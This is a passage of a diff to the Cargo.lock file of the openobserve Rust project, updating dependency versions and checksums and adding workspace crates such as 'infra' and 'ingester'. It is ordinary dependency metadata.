@@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.11" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" dependencies = [ "cfg-if 1.0.0", "js-sys", @@ -3133,9 +3259,9 @@ dependencies = [ [[package]] name = "gimli" -version = "0.28.0" +version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" [[package]] name = "glob" @@ -3145,15 +3271,15 @@ checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] name = "globset" -version = "0.4.13" +version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "759c97c1e17c55525b57192c06a267cda0ac5210b222d6b82189a2338fa1c13d" +checksum = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1" dependencies = [ "aho-corasick", "bstr", - "fnv", "log", - "regex", + "regex-automata 0.4.5", + "regex-syntax 0.8.2", ] [[package]] @@ -3167,17 +3293,27 @@ dependencies = [ ] [[package]] +name = "gxhash" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcc9a192659d9fd88d8bd8b8ccdec491225e3623083c1251a1a406c47934415c" +dependencies = [ + "rand", + "rustc_version", +] + +[[package]] name = "h2" -version = "0.3.22" +version = "0.3.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" dependencies = [ "bytes", "fnv", "futures-core", "futures-sink", "futures-util", - "http", + "http 0.2.11", "indexmap 2.1.0", "slab", "tokio", @@ -3197,16 +3333,6 @@ dependencies = [ ] [[package]] -name = "halfbrown" -version = "0.2.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5681137554ddff44396e5f149892c769d45301dd9aa19c51602a89ee214cb0ec" -dependencies = [ - "hashbrown 0.13.2", - "serde", -] - -[[package]] name = "hashbrown" version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3217,21 +3343,13 @@ dependencies = [ [[package]] name = "hashbrown" -version = "0.13.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e" -dependencies = [ - "ahash 0.8.6", -] - -[[package]] -name = "hashbrown" -version = "0.14.2" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f93e7192158dbcda357bdec5fb5788eebf8bbac027f3f33e719d29135ae84156" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "allocator-api2", + "serde", ] [[package]] @@ -3240,7 +3358,7 @@ version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7" dependencies = [ - "hashbrown 0.14.2", + "hashbrown 0.14.3", ] [[package]] @@ -3263,9 +3381,9 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.3.3" +version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" +checksum = "d0c62115964e08cb8039170eb33c1d0e2388a256930279edca206fff675f82c3" [[package]] name = "hex" @@ -3275,9 +3393,9 @@ checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" [[package]] name = "hkdf" -version = "0.12.3" +version = "0.12.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "791a029f6b9fc27657f6f188ec6e5e43f6911f6f878e0dc5501396e09809d437" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" dependencies = [ "hmac", ] @@ -3293,11 +3411,11 @@ dependencies = [ [[package]] name = "home" -version = "0.5.5" +version = "0.5.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb" +checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" dependencies = [ - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -3323,6 +3441,17 @@ dependencies = [ ] [[package]] +name = "http" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b32afd38673a8016f7c9ae69e5af41a58f81b1d31689040f2f1959594ce194ea" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] name = "http-auth-basic" version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3333,12 +3462,12 @@ dependencies = [ [[package]] name = "http-body" -version = "0.4.5" +version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" dependencies = [ "bytes", - "http", + "http 0.2.11", "pin-project-lite", ] @@ -3356,9 +3485,12 @@ checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" [[package]] name = "humansize" -version = "1.1.1" +version = "2.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "02296996cb8796d7c6e3bc2d9211b7802812d36999a51bb754123ead7d37d026" +checksum = "6cb51c9a029ddc91b07a787f1d86b53ccfa49b0e86688c946ebe8d3555685dd7" +dependencies = [ + "libm", +] [[package]] name = "humantime" @@ -3368,22 +3500,22 @@ checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" [[package]] name = "hyper" -version = "0.14.27" +version = "0.14.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" +checksum = "bf96e135eb83a2a8ddf766e426a841d8ddd7449d5f00d34ea02b41d2f19eef80" dependencies = [ "bytes", "futures-channel", "futures-core", "futures-util", "h2", - "http", + "http 0.2.11", "http-body", "httparse", "httpdate", "itoa", "pin-project-lite", - "socket2 0.4.10", + "socket2", "tokio", "tower-service", "tracing", @@ -3397,7 +3529,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" dependencies = [ "futures-util", - "http", + "http 0.2.11", "hyper", "log", "rustls", @@ -3420,9 +3552,9 @@ dependencies = [ [[package]] name = "iana-time-zone" -version = "0.1.58" +version = "0.1.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" dependencies = [ "android_system_properties", "core-foundation-sys", @@ -3449,9 +3581,9 @@ checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" [[package]] name = "idna" -version = "0.4.0" +version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" dependencies = [ "unicode-bidi", "unicode-normalization", @@ -3480,7 +3612,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" dependencies = [ "equivalent", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "serde", ] @@ -3491,6 +3623,61 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8" [[package]] +name = "infra" +version = "0.1.0" +dependencies = [ + "ahash 0.8.7", + "anyhow", + "async-trait", + "aws-config", + "aws-sdk-dynamodb", + "bytes", + "chrono", + "config", + "datafusion", + "etcd-client", + "futures", + "hashbrown 0.14.3", + "hashlink", + "log", + "object_store", + "once_cell", + "parking_lot 0.12.1", + "serde", + "serde_json", + "sled", + "sqlx", + "thiserror", + "tokio", + "tokio-stream", +] + +[[package]] +name = "ingester" +version = "0.1.0" +dependencies = [ + "arrow", + "arrow-schema", + "byteorder", + "bytes", + "chrono", + "config", + "futures", + "hashbrown 0.14.3", + "indexmap 2.1.0", + "itertools 0.12.1", + "log", + "once_cell", + "parquet", + "serde", + "serde_json", + "snafu 0.7.5", + "tokio", + "wal", + "walkdir", +] + +[[package]] name = "inout" version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3521,7 +3708,7 @@ version = "1.0.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" dependencies = [ - "hermit-abi 0.3.3", + "hermit-abi 0.3.5", "libc", "windows-sys 0.48.0", ] @@ -3552,13 +3739,13 @@ dependencies = [ [[package]] name = "is-terminal" -version = "0.4.9" +version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" +checksum = "fe8f25ce1159c7740ff0b9b2f5cdf4a8428742ba7c112b9f20f22cd5219c7dab" dependencies = [ - "hermit-abi 0.3.3", - "rustix 0.38.24", - "windows-sys 0.48.0", + "hermit-abi 0.3.5", + "libc", + "windows-sys 0.52.0", ] [[package]] @@ -3581,18 +3768,18 @@ dependencies = [ [[package]] name = "itertools" -version = "0.12.0" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25db6b064527c5d482d0423354fcd07a89a2dfe07b67892e62411946db7f07b0" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" dependencies = [ "either", ] [[package]] name = "itoa" -version = "1.0.9" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "jni" @@ -3618,18 +3805,18 @@ checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" [[package]] name = "jobserver" -version = "0.1.27" +version = "0.1.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c37f63953c4c63420ed5fd3d6d398c719489b9f872b9fa683262f8edd363c7d" +checksum = "ab46a6e9526ddef3ae7f787c06f0f2600639ba80ea3eade3d8e670a2230f51d6" dependencies = [ "libc", ] [[package]] name = "js-sys" -version = "0.3.65" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54c0c35952f67de54bb584e9fd912b3023117cbafc0a77d8f3dee1fb5f572fe8" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" dependencies = [ "wasm-bindgen", ] @@ -3641,10 +3828,25 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "078e285eafdfb6c4b434e0d31e8cfcb5115b651496faca5749b88fafd4f23bfd" [[package]] +name = "jsonwebtoken" +version = "9.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c7ea04a7c5c055c175f189b6dc6ba036fd62306b58c66c9f6389036c503a3f4" +dependencies = [ + "base64 0.21.7", + "js-sys", + "pem", + "ring 0.17.7", + "serde", + "serde_json", + "simple_asn1", +] + +[[package]] name = "keccak" -version = "0.1.4" +version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f6d5ed8676d904364de097082f4e7d240b571b67989ced0240f08b7f966f940" +checksum = "ecc2af9a1119c51f12a14607e783cb977bde58bc069ff0c3da1095e635d70654" dependencies = [ "cpufeatures", ] @@ -3758,9 +3960,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.150" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "libflate" @@ -3804,16 +4006,16 @@ version = "0.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "libc", "redox_syscall 0.4.1", ] [[package]] name = "libsqlite3-sys" -version = "0.26.0" +version = "0.27.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "afc22eff61b133b115c6e8c74e818c628d6d5e7a502afea6f64dee076dd94326" +checksum = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716" dependencies = [ "cc", "pkg-config", @@ -3822,9 +4024,9 @@ dependencies = [ [[package]] name = "libz-sys" -version = "1.1.12" +version = "1.1.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d97137b25e321a73eef1418d1d5d2eda4d77e12813f8e6dead84bc52c5870a7b" +checksum = "037731f5d3aaa87a5675e895b63ddff1a87624bc29f77004ea829809654e48f6" dependencies = [ "cc", "pkg-config", @@ -3845,9 +4047,9 @@ checksum = "f051f77a7c8e6957c0696eac88f26b0117e54f52d3fc682ab19397a8812846a4" [[package]] name = "linux-raw-sys" -version = "0.4.11" +version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "969488b55f8ac402214f3f5fd243ebb7206cf82de60d3172994707a4bcc2b829" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" [[package]] name = "local-channel" @@ -3937,9 +4139,9 @@ dependencies = [ [[package]] name = "lz4_flex" -version = "0.11.1" +version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3ea9b256699eda7b0387ffbc776dd625e28bde3918446381781245b7a50349d8" +checksum = "912b45c753ff5f7f5208307e8ace7d2a2e30d024e26d3509f3dce546c044ce15" dependencies = [ "twox-hash", ] @@ -4018,32 +4220,33 @@ dependencies = [ [[package]] name = "mediatype" -version = "0.19.15" +version = "0.19.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c408dc227d302f1496c84d9dc68c00fec6f56f9228a18f3023f976f3ca7c945" +checksum = "8878cd8d1b3c8c8ae4b2ba0a36652b7cf192f618a599a7fbdfa25cffd4ea72dd" [[package]] name = "memchr" -version = "2.6.4" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memmap2" -version = "0.8.0" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43a5a03cefb0d953ec0be133036f14e109412fa594edc2f77227249db66cc3ed" +checksum = "fe751422e4a8caa417e13c3ea66452215d7d63e19e604f4980461212f3ae1322" dependencies = [ "libc", ] [[package]] -name = "memoffset" -version = "0.9.0" +name = "memory-stats" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +checksum = "34f79cf9964c5c9545493acda1263f1912f8d2c56c8a2ffee2606cb960acaacc" dependencies = [ - "autocfg", + "libc", + "winapi 0.3.9", ] [[package]] @@ -4079,18 +4282,18 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "miniz_oxide" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" dependencies = [ "adler", ] [[package]] name = "mio" -version = "0.8.9" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" dependencies = [ "libc", "log", @@ -4105,6 +4308,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a" [[package]] +name = "murmur3" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9252111cf132ba0929b6f8e030cac2a24b507f3a4d6db6fb2896f27b354c714b" + +[[package]] name = "names" version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4148,6 +4357,17 @@ dependencies = [ ] [[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.2", + "cfg-if 1.0.0", + "libc", +] + +[[package]] name = "nom" version = "7.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4220,28 +4440,33 @@ dependencies = [ [[package]] name = "num-complex" -version = "0.4.4" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ba157ca0885411de85d6ca030ba7e2a83a28636056c7c699b07c8b6f7383214" +checksum = "23c6602fda94a57c990fe0df199a035d83576b496aa29f4e634a8ac6004e68a6" dependencies = [ "num-traits", ] [[package]] +name = "num-conv" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" + +[[package]] name = "num-integer" -version = "0.1.45" +version = "0.1.46" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" dependencies = [ - "autocfg", "num-traits", ] [[package]] name = "num-iter" -version = "0.1.43" +version = "0.1.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d03e6c028c5dc5cac6e2dec0efda81fc887605bb3d884578bb6d6bf7514e252" +checksum = "d869c01cc0c455284163fd0092f1f93835385ccab5a98a0dcc497b2f8bf055a9" dependencies = [ "autocfg", "num-integer", @@ -4262,9 +4487,9 @@ dependencies = [ [[package]] name = "num-traits" -version = "0.2.17" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" dependencies = [ "autocfg", "libm", @@ -4276,7 +4501,7 @@ version = "1.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" dependencies = [ - "hermit-abi 0.3.3", + "hermit-abi 0.3.5", "libc", ] @@ -4298,7 +4523,7 @@ dependencies = [ "proc-macro-crate 1.3.1", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -4312,34 +4537,34 @@ dependencies = [ [[package]] name = "object" -version = "0.32.1" +version = "0.32.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" dependencies = [ "memchr", ] [[package]] name = "object_store" -version = "0.8.0" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2524735495ea1268be33d200e1ee97455096a0846295a21548cd2f3541de7050" +checksum = "d139f545f64630e2e3688fd9f81c470888ab01edeb72d13b4e86c566f1130000" dependencies = [ "async-trait", - "base64 0.21.5", + "base64 0.21.7", "bytes", "chrono", "futures", "humantime", "hyper", - "itertools 0.11.0", + "itertools 0.12.1", "parking_lot 0.12.1", "percent-encoding", "quick-xml", "rand", "reqwest", - "ring 0.17.5", - "rustls-pemfile", + "ring 0.17.7", + "rustls-pemfile 2.0.0", "serde", "serde_json", "snafu 0.7.5", @@ -4360,9 +4585,9 @@ dependencies = [ [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "onig" @@ -4387,6 +4612,12 @@ dependencies = [ ] [[package]] +name = "oorandom" +version = "11.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ab1bc2a289d34bd04a330323ac98a1b4bc82c9d9fcb1e66b63caa84da26b575" + +[[package]] name = "opaque-debug" version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4394,7 +4625,7 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" [[package]] name = "openobserve" -version = "0.7.1" +version = "0.8.1" dependencies = [ "actix-cors", "actix-multipart", @@ -4404,7 +4635,7 @@ dependencies = [ "actix-web-opentelemetry", "actix-web-prometheus", "actix-web-rust-embed-responder", - "ahash 0.8.6", + "ahash 0.8.7", "anyhow", "argon2", "arrow", @@ -4412,21 +4643,17 @@ dependencies = [ "async-recursion", "async-trait", "awc", - "aws-config", - "aws-sdk-dynamodb", - "base64 0.21.5", + "base64 0.21.7", "blake3", - "byteorder", "bytes", "chrono", - "clap 4.4.8", + "clap 4.5.0", "cloudevents-sdk", + "config", "csv", "dashmap", "datafusion", "datafusion-expr", - "dotenv_config", - "dotenvy", "enrichment", "env_logger", "etcd-client", @@ -4435,18 +4662,18 @@ dependencies = [ "flate2", "float-cmp", "futures", - "get_if_addrs", "getrandom", - "glob", - "hashlink", + "hashbrown 0.14.3", "hex", "http-auth-basic", - "indexmap 2.1.0", + "infra", + "ingester", "ipnetwork 0.20.0", - "itertools 0.12.0", + "itertools 0.12.1", + "jsonwebtoken", "log", "maxminddb", - "memchr", + "memory-stats", "mimalloc", "object_store", "once_cell", @@ -4466,21 +4693,17 @@ dependencies = [ "regex", "regex-syntax 0.8.2", "reqwest", - "rs-snowflake", "rust-embed-for-web", "segment", "serde", "serde_json", "sha256", - "simd-json", - "sled", + "snafu 0.7.5", "snap", "sqlparser", - "sqlx", "strum", "sysinfo", "syslog_loose 0.18.0", - "tempfile", "thiserror", "tikv-jemallocator", "time", @@ -4489,17 +4712,16 @@ dependencies = [ "tonic 0.8.3", "tonic-build 0.8.4", "tracing", + "tracing-appender", "tracing-opentelemetry", "tracing-subscriber", "uaparser", "url", "utoipa", "utoipa-swagger-ui", - "uuid", "vrl", "walkdir", - "xxhash-rust", - "zstd 0.13.0", + "zstd", ] [[package]] @@ -4552,7 +4774,7 @@ checksum = "1edc79add46364183ece1a4542592ca593e6421c60807232f5b8f7a31703825d" dependencies = [ "async-trait", "bytes", - "http", + "http 0.2.11", "opentelemetry_api 0.18.0", "reqwest", ] @@ -4566,7 +4788,7 @@ dependencies = [ "async-trait", "futures", "futures-util", - "http", + "http 0.2.11", "opentelemetry 0.18.0", "opentelemetry-http", "opentelemetry-proto 0.1.0", @@ -4708,9 +4930,9 @@ dependencies = [ [[package]] name = "ordered-float" -version = "4.1.1" +version = "4.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "536900a8093134cf9ccf00a27deb3532421099e958d9dd431135d0c7543ca1e8" +checksum = "a76df7075c7d4d01fdcb46c912dd17fba5b60c78ea480b475f2b6ab6f666584e" dependencies = [ "num-traits", ] @@ -4734,16 +4956,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" [[package]] -name = "packed_simd" -version = "0.3.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f9f08af0c877571712e2e3e686ad79efad9657dbf0f7c3c8ba943ff6c38932d" -dependencies = [ - "cfg-if 1.0.0", - "num-traits", -] - -[[package]] name = "packedvec" version = "1.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4809,11 +5021,11 @@ dependencies = [ [[package]] name = "parquet" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af88740a842787da39b3d69ce5fbf6fce97d20211d3b299fee0a0da6430c74d4" +checksum = "547b92ebf0c1177e3892f44c8f79757ee62e678d564a9834189725f2c5b7a750" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow-array", "arrow-buffer", "arrow-cast", @@ -4821,13 +5033,14 @@ dependencies = [ "arrow-ipc", "arrow-schema", "arrow-select", - "base64 0.21.5", + "base64 0.21.7", "brotli", "bytes", "chrono", "flate2", "futures", - "hashbrown 0.14.2", + "half", + "hashbrown 0.14.3", "lz4_flex", "num", "num-bigint", @@ -4838,7 +5051,7 @@ dependencies = [ "thrift", "tokio", "twox-hash", - "zstd 0.13.0", + "zstd", ] [[package]] @@ -4880,6 +5093,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9e9ed2178b0575fff8e1b83b58ba6f75e727aafac2e1b6c795169ad3b17eb518" [[package]] +name = "pem" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b8fcc794035347fb64beda2d3b462595dd2753e3f268d89c5aae77e8cf2c310" +dependencies = [ + "base64 0.21.7", + "serde", +] + +[[package]] name = "pem-rfc7468" version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4890,15 +5113,15 @@ dependencies = [ [[package]] name = "percent-encoding" -version = "2.3.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b2a4787296e9989611394c33f193f676704af1686e70b8f8033ab5ba9a35a94" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "pest" -version = "2.7.5" +version = "2.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae9cee2a55a544be8b89dc6848072af97a20f2422603c10865be2a42b580fff5" +checksum = "219c0dcc30b6a27553f9cc242972b67f75b60eb0db71f0b5462f38b058c41546" dependencies = [ "memchr", "thiserror", @@ -4907,9 +5130,9 @@ dependencies = [ [[package]] name = "pest_derive" -version = "2.7.5" +version = "2.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "81d78524685f5ef2a3b3bd1cafbc9fcabb036253d9b1463e726a91cd16e2dfc2" +checksum = "22e1288dbd7786462961e69bfd4df7848c1e37e8b74303dbdab82c3a9cdd2809" dependencies = [ "pest", "pest_generator", @@ -4917,22 +5140,22 @@ dependencies = [ [[package]] name = "pest_generator" -version = "2.7.5" +version = "2.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68bd1206e71118b5356dae5ddc61c8b11e28b09ef6a31acbd15ea48a28e0c227" +checksum = "1381c29a877c6d34b8c176e734f35d7f7f5b3adaefe940cb4d1bb7af94678e2e" dependencies = [ "pest", "pest_meta", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] name = "pest_meta" -version = "2.7.5" +version = "2.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c747191d4ad9e4a4ab9c8798f1e82a39affe7ef9648390b7e5548d18e099de6" +checksum = "d0934d6907f148c22a3acbda520c7eed243ad7487a30f51f6ce52b58b7077a8a" dependencies = [ "once_cell", "pest", @@ -4998,22 +5221,22 @@ dependencies = [ [[package]] name = "pin-project" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" dependencies = [ "pin-project-internal", ] [[package]] name = "pin-project-internal" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -5051,9 +5274,9 @@ dependencies = [ [[package]] name = "pkg-config" -version = "0.3.27" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" +checksum = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb" [[package]] name = "poly1305" @@ -5083,7 +5306,7 @@ dependencies = [ "findshlibs", "libc", "log", - "nix", + "nix 